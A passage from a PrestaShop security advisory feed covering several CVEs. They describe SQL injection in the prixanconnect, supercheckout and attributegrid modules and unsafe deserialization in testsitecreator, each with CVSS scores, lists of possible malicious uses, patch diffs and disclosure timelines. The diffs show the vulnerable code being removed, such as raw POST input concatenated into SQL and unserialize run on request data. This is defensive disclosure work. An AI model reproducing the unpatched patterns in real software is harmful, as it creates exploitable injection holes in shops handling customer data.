<span class="gd">-        // $query = "UPDATE `" . _DB_PREFIX_ . "specific_price` SET `from`='1980-01-01 00:00:00', `to`='2100-01-01 00:00:00' WHERE `id_specific_price`=" . $newSpecId;
-        // return   Db::getInstance()-&gt;executeS($query);
</span><span class="gi">+
</span>     }
     private function deleteSpecificPriceForAttribute($id_product, $id_product_attribute, $id_shop)
     {
         if (empty($id_shop)) {
             $id_shop = 0;
         }
<span class="gd">-        $query = 'DELETE FROM `' . _DB_PREFIX_ . 'specific_price` WHERE `id_product` = ' . (int) $id_product . ' AND `id_product_attribute` = ' . $id_product_attribute . ' AND id_shop=' . $id_shop;
</span><span class="gi">+        $query = 'DELETE FROM `' . _DB_PREFIX_ . 'specific_price` WHERE `id_product` = ' . (int) $id_product . ' AND `id_product_attribute` = ' . (int) $id_product_attribute . ' AND id_shop=' . (int)$id_shop;
</span>         Db::getInstance()-&gt;execute($query);
     }
     private function updateProductPriceWithCleanSpecific($id, $prix_base, $prix_promo, $idShop)
<span class="p">@@ -195,15 +161,21 @@</span> class PrixanconnectUpdateProductsModuleF
     {
         header('Content-type: application/json');
         $returned = array('success' =&gt; false, 'products' =&gt; array(), 'error' =&gt; null);
<span class="gi">+        
</span>         try {
 
             $idShop = Tools::getValue('id_shop');

             if (!empty($idShop)) {
                 $idShop = (int)  $idShop;
             }
<span class="gi">+            if (strtoupper(trim($_SERVER['REQUEST_METHOD'])) != 'POST'){
+                throw new Exception('you must call this url with POST method');
+            }
+            $cle_module = Configuration::get('PRIXANCONNECT_CLE');
+            if (Tools::getValue('key') == false || Tools::getValue('key') != $cle_module) {
+                throw new Exception('erreur d\'autorisation');
+            }
</span> 
             // $entityBody = stream_get_contents(STDIN);
             $entityBody = file_get_contents('php://input');

@@ -298,10 +264,10 @@ class PrixanconnectUpdateProductsModuleF
                                         if (!is_numeric($prix_base)) {
                                             throw new Exception('prix_base is not correct');
                                         }
<span class="gd">-                                        $query_result =  Db::getInstance()-&gt;executeS('update `' . _DB_PREFIX_ . 'pm_advancedpack` SET fixed_price=' . $prix_base  . ' WHERE id_pack=' . $id);
</span><span class="gi">+                                        $query_result =  Db::getInstance()-&gt;executeS('update `' . _DB_PREFIX_ . 'pm_advancedpack` SET fixed_price=' . (float)$prix_base  . ' WHERE id_pack=' . (int)$id);
</span>                                         $returned['products'][] = array('id' =&gt; $id, 'success' =&gt; $query_result);
                                     } else {
<span class="gd">-                                        $query_result =  Db::getInstance()-&gt;executeS('update `' . _DB_PREFIX_ . 'pm_advancedpack` SET fixed_price=NULL WHERE id_pack=' . $id);
</span><span class="gi">+                                        $query_result =  Db::getInstance()-&gt;executeS('update `' . _DB_PREFIX_ . 'pm_advancedpack` SET fixed_price=NULL WHERE id_pack=' . (int)$id);
</span>                                         $returned['products'][] = array('id' =&gt; $id, 'success' =&gt; $query_result);
                                     }
                                 } else {
</code></pre></div></div>

<h2 id="other-recommandations">Other recommandations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>prixanconnect</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-03-05</td>
      <td>Vulnerability discovered during a code reviews by <a href="https://www.202-ecommerce.com/">202 ecommerce</a></td>
    </tr>
    <tr>
      <td>2023-03-07</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-04-05</td>
      <td>The author confirm the vulnerability without possibility to verify the patch</td>
    </tr>
    <tr>
      <td>2023-05-29</td>
      <td>Retrieve the patched release and ask to the author to fix all sensitive SQL calls</td>
    </tr>
    <tr>
      <td>2023-06-15</td>
      <td>Retry to contact Prixan team</td>
    </tr>
    <tr>
      <td>2023-08-15</td>
      <td>Request a CVE ID from Mitre.org</td>
    </tr>
    <tr>
      <td>2023-08-25</td>
      <td>Recieved the CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-25</td>
      <td>Inform the author about the scheduled publication of the CVE. Propose 30 days of delay before disclose.</td>
    </tr>
    <tr>
      <td>2023-10-05</td>
      <td>Publication of this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.prixan.com/">Product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-40920">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Prixan connect” (prixanconnect) for PrestaShop, an attacker can perform a blind SQL injection before 1.62 without restrictions. Release 1.62 fixed this security issue.]]></summary></entry><entry><title type="html">[CVE-2023-44024] Improper neutralization of SQL parameters in KnowBand - One Page Checkout, Social Login &amp;amp; Mailchimp module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/05/supercheckout.html" rel="alternate" type="text/html" title="[CVE-2023-44024] Improper neutralization of SQL parameters in KnowBand - One Page Checkout, Social Login &amp;amp; Mailchimp module for PrestaShop" /><published>2023-10-05T00:00:00+00:00</published><updated>2023-10-05T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/05/supercheckout</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/05/supercheckout.html"><![CDATA[<p>In the module “Module One Page Checkout, Social Login &amp; Mailchimp” (supercheckout) up to version 8.0.3 from KnowBand for PrestaShop, an anonymous user can perform a SQL injection.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-44024">CVE-2023-44024</a></li>
  <li><strong>Published at</strong>: 2023-10-05</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: supercheckout</li>
  <li><strong>Impacted release</strong>: &lt;= 8.0.3 (8.0.4 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: KnowBand</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">SupercheckoutSupercheckoutModuleFrontController::updateCheckoutBehaviour()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-803">Patch from 8.0.3</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 8.0.3/modules/supercheckout/controllers/front/supercheckout.php
</span><span class="gi">+++ 8.0.4/modules/supercheckout/controllers/front/supercheckout.php
</span><span class="p">private static function transactionExists(string
</span><span class="err">...</span>
        if (isset($result) &amp;&amp; !empty($result) &amp;&amp; $result != "") {
            //check if column exists or not
            $check_col_sql = 'SELECT count(*) FROM information_schema.COLUMNS
<span class="gd">-                              WHERE COLUMN_NAME = "' . $field_name . '"
</span><span class="gi">+                              WHERE COLUMN_NAME = "' . pSQL($field_name) . '"
</span>                               AND TABLE_NAME = "' . _DB_PREFIX_ . 'kb_checkout_behaviour_stats"
                               AND TABLE_SCHEMA = "' . _DB_NAME_ . '"';
            $check_col = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;getValue($check_col_sql);
            if ($check_col == 1) {
<span class="gd">-               $sql = 'UPDATE ' . _DB_PREFIX_ . 'kb_checkout_behaviour_stats SET ' . pSQL($field_name) . ' = ' . (int) $filled . ' WHERE id_cart = ' . (int) $this-&gt;context-&gt;cart-&gt;id;
</span><span class="gi">+               $sql = 'UPDATE ' . _DB_PREFIX_ . 'kb_checkout_behaviour_stats SET `' . bqSQL($field_name) . '` = ' . (int) $filled . ' WHERE id_cart = ' . (int) $this-&gt;context-&gt;cart-&gt;id;
</span>                Db::getInstance()-&gt;execute($sql);
                if ((Tools::getValue('use_for_invoice') == 'true' || Tools::getValue('use_for_invoice') == true) &amp;&amp; $field_name != 'email' &amp;&amp; (strpos($field_name, '_invoice') == false)) {
<span class="gd">-                   $sql = 'UPDATE ' . _DB_PREFIX_ . 'kb_checkout_behaviour_stats SET ' . pSQL($field_name) . '_invoice = ' . (int) $filled . ' WHERE id_cart = ' . (int) $this-&gt;context-&gt;cart-&gt;id;
</span><span class="gi">+                   $sql = 'UPDATE ' . _DB_PREFIX_ . 'kb_checkout_behaviour_stats SET `' . bqSQL($field_name) . '_invoice` = ' . (int) $filled . ' WHERE id_cart = ' . (int) $this-&gt;context-&gt;cart-&gt;id;
</span>                    Db::getInstance()-&gt;execute($sql);
                }
            }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>supercheckout</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-07-24</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-07-24</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope</td>
    </tr>
    <tr>
      <td>2023-07-25</td>
      <td>PrestaShop Addons security Team to confirm version scope</td>
    </tr>
    <tr>
      <td>2023-09-19</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2023-09-22</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-28</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-05</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/processus-rapide-commande/18016-one-page-checkout-social-login-mailchimp.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-44024">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Module One Page Checkout, Social Login &amp; Mailchimp” (supercheckout) up to version 8.0.3 from KnowBand for PrestaShop, an anonymous user can perform a SQL injection.]]></summary></entry><entry><title type="html">[CVE-2023-43983] Improper neutralization of SQL parameter in Presto Changeo - Attribute Grid module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/03/attributegrid.html" rel="alternate" type="text/html" title="[CVE-2023-43983] Improper neutralization of SQL parameter in Presto Changeo - Attribute Grid module for PrestaShop" /><published>2023-10-03T00:00:00+00:00</published><updated>2023-10-03T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/03/attributegrid</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/03/attributegrid.html"><![CDATA[<p>In the module “Attribute Grid” (attributegrid) from Presto Changeo for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43983">CVE-2023-43983</a></li>
  <li><strong>Published at</strong>: 2023-10-03</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: attributegrid</li>
  <li><strong>Impacted release</strong>: &lt; 2.0.3 [SEE NOTE BELOW]</li>
  <li><strong>Product author</strong>: Presto Changeo</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Ajax scripts disable_json.php has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>Note : Author refuse to help us to fix the version scope since its module are no longer supported. This vulnerability has been seen in versions up to version 1.6.7 and no longer exists in version 2.0.3. We do not have versions &gt; 1.6.7 and &lt; 2.0.3, so it’s impossible for us to certify that these versions are or not are impacted by this vulnerability.</p>

<p><strong>WARNING</strong> : Author discontinue support of its module so you should no longer continue to use them.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-167">Patch from 1.6.7</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.6.7/modules/attributegrid/disable_json.php
</span><span class="gi">+++ XXXXX/modules/attributegrid/disable_json.php
</span><span class="err">...</span>
		LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac ON pac.`id_product_attribute` = pa.`id_product_attribute`
		'.($ps_version &gt;= 1.5?Shop::addSqlAssociation('product_attribute', 'pa'):'').'
<span class="gd">-		WHERE pa.`id_product` in ('.$_POST['products'].')';
</span><span class="gi">+		WHERE pa.`id_product` in ('.implode(',', array_map('intval', explode(',', $_POST['products']))).')';
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>attributegrid</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-08-01</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-08-01</td>
      <td>Contact Author to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-08-01</td>
      <td>Author replied us that he do not have time since support is ended</td>
    </tr>
    <tr>
      <td>2023-08-27</td>
      <td>Recontact Author to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-08-27</td>
      <td>Author replied us to stop communicating with him</td>
    </tr>
    <tr>
      <td>2023-09-21</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-27</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-03</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.presto-changeo.com/prestashop/prestashop-17-modules/122-prestashop-attribute-grid-module.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-43983">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Attribute Grid” (attributegrid) from Presto Changeo for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-43981] Deserialization of Untrusted Data in Presto Changeo - Test Site Creator module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/03/testsitecreator.html" rel="alternate" type="text/html" title="[CVE-2023-43981] Deserialization of Untrusted Data in Presto Changeo - Test Site Creator module for PrestaShop" /><published>2023-10-03T00:00:00+00:00</published><updated>2023-10-03T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/03/testsitecreator</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/03/testsitecreator.html"><![CDATA[<p>In the module “Test Site Creator” (testsitecreator) from Presto Changeo for PrestaShop, a guest can execute a remote code via an untrusted data deserialized.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43981">CVE-2023-43981</a></li>
  <li><strong>Published at</strong>: 2023-10-03</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: testsitecreator</li>
  <li><strong>Impacted release</strong>: &lt;= 1.1.1 (WARNING : see WARNING below)</li>
  <li><strong>Product author</strong>: Presto Changeo</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/502.html">CWE-502</a></li>
  <li><strong>Severity</strong>: critical (10)</li>
</ul>

<h2 id="description">Description</h2>

<p>A deserialization of untrusted data in scripts delete_excluded_folder.php and verify_excluded_folder.php can be used with a trivial http call and exploited to execute a remote code.</p>

<p><strong>WARNING</strong> : Author discontinue support of its module so you should no longer continue to use them and do not have time to confirm us the scope of impacted versions so it could impact newer versions than 1.1.1.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Steal/Remove data from the associated PrestaShop</li>
</ul>

<h2 id="patch-from-111">Patch from 1.1.1</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.1.1/modules/testsitecreator/lib/verify_excluded_folder.php
</span><span class="gi">+++ XXXXX/modules/testsitecreator/lib/verify_excluded_folder.php
</span><span class="err">...</span>
-	$tsc_excluded_folders = unserialize(Tools::getValue('tsc_excluded_folders'));
<span class="gi">+	$tsc_excluded_folders = unserialize(Tools::getValue('tsc_excluded_folders'), ['allowed_classes' =&gt; false]);
</span></code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.1.1/modules/testsitecreator/lib/delete_excluded_folder.php
</span><span class="gi">+++ XXXXX/modules/testsitecreator/lib/delete_excluded_folder.php
</span><span class="err">...</span>
-	$tsc_excluded_folders = unserialize(Tools::getValue('tsc_excluded_folders'));
<span class="gi">+	$tsc_excluded_folders = unserialize(Tools::getValue('tsc_excluded_folders'), ['allowed_classes' =&gt; false]);
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>Since author discontinue support on its modules, it is recommended to delete the module.</li>
  <li>Activate OWASP 933’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-08-10</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-08-10</td>
      <td>Contact Author to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-08-27</td>
      <td>Recontact Author to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-08-27</td>
      <td>Author replied us to stop communicating with him</td>
    </tr>
    <tr>
      <td>2023-09-21</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-27</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-03</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.presto-changeo.com/prestashop/home/158-test-site-creator.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-43981">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Test Site Creator” (testsitecreator) from Presto Changeo for PrestaShop, a guest can execute a remote code via an untrusted data deserialized.]]></summary></entry><entry><title type="html">[CVE-2023-43980] Improper neutralization of SQL parameter in Presto Changeo - Test Site Creator module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/09/28/testsitecreator.html" rel="alternate" type="text/html" title="[CVE-2023-43980] Improper neutralization of SQL parameter in Presto Changeo - Test Site Creator module for PrestaShop" /><published>2023-09-28T00:00:00+00:00</published><updated>2023-09-28T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/09/28/testsitecreator</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/09/28/testsitecreator.html"><![CDATA[<p>In the module “Test Site Creator” (testsitecreator) from Presto Changeo for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43980">CVE-2023-43980</a></li>
  <li><strong>Published at</strong>: 2023-09-28</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: testsitecreator</li>
  <li><strong>Impacted release</strong>: &lt;= 1.1.1 (WARNING : see WARNING below)</li>
  <li><strong>Product author</strong>: Presto Changeo</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">TestSiteClass::TestSiteIsCreated()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : Author discontinue support of its module so you should no longer continue to use them and do not have time to confirm us the scope of impacted versions so it could impact newer versions than 1.1.1.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-111">Patch from 1.1.1</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.1.1/modules/testsitecreator/classes/TestSiteClass.php
</span><span class="gi">+++ XXXXX/modules/testsitecreator/classes/TestSiteClass.php
</span><span class="err">...</span>
		return (bool)Db::getInstance()-&gt;getRow('
			SELECT * 
			FROM `'._DB_PREFIX_.'testsitecreator`
			WHERE `test_site_created` = 1
<span class="gd">-			'.(is_null($id_testsitecreator) ? 'AND `name_testsitecreator` = "'.$name_testsitecreator.'"' : 'AND `id_testsitecreator` = '.$id_testsitecreator).'
</span><span class="gi">+			'.(is_null($id_testsitecreator) ? 'AND `name_testsitecreator` = "'.pSQL($name_testsitecreator).'"' : 'AND `id_testsitecreator` = '.(int) $id_testsitecreator).'
</span>		');
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>Since author discontinue support on its modules, it is recommended to delete the module.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-08-02</td>
